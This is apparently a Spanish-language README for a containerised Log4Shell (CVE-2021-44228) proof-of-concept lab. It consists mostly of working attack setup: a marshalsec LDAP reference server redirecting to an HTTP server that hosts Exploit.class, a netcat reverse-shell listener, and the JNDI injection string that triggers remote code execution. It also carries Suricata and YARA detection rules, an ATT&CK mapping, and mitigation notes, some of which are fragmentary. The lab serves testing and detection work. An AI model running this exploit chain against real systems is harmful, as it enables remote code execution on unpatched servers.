**Log4Shell PoC es un entorno de explotación de alta fidelidad diseñado para replicar la vulnerabilidad CVE-2021-44228.** Proporciona un sandbox contenedorizado para demostrar la inyección JNDI, la redirección de referencias LDAP/RMI y la ejecución remota de código (RCE) a través de la librería Log4j 2.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ PROOF OF CONCEPT & JNDI EXPLOITATION ]
Log4Shell PoC es un entorno de explotación de alta fidelidad diseñado para replicar la vulnerabilidad CVE-2021-44228. Proporciona un sandbox contenerizado para demostrar la inyección JNDI, la redirección de referencias LDAP/RMI y la ejecución remota de código (RCE) mediante la librería Log4j 2.
Solo para fines educativos y de pruebas de seguridad autorizadas.
El uso de esta prueba de concepto para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los autores no asumen ninguna responsabilidad y no son responsables de ninguna pérdida de datos, daños al sistema, consecuencias legales o uso indebido causado por este programa. Al usar este software, usted acepta operar dentro de los límites legales de su jurisdicción.
El lado del atacante consta de tres canales distintos para facilitar el PoC.
Exploit.class para que la víctima lo descargue y ejecute.Un entorno Dockerizado con OpenJDK 8 que ejecuta una implementación vulnerable de Log4j.
Pestaña 1: Servidor de Referencia LDAP
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
Pestaña 2: Entrega del Payload por HTTP
# Inicie el servidor Python en el directorio que contiene Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
Pestaña 3: Listener de Netcat
nc -lvnp 9001
Pestaña 4: Lanzar Contenedor Vulnerable
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
Dentro del Contenedor: Ejecutar el PoC
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| Fase | Técnica | ¿Alerta Activada? | MITRE ATT&CK |
|---|---|---|---|
| Acceso Inicial | Explotación de Aplicación Expuesta al Público | [ ] | T1190 |
| Ejecución | Intérprete de Comandos y Scripts | [ ] | T1059 |
| Comando y Control | Protocolo de Capa de Aplicación (LDAP) | [ ] | T1071.003 |
| Exfiltración | Protocolo de Capa No Aplicacional | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true para deshabilitar las búsquedas (lookups).JndiLookup.class del JAR log4j-core.172.17.0.0/16).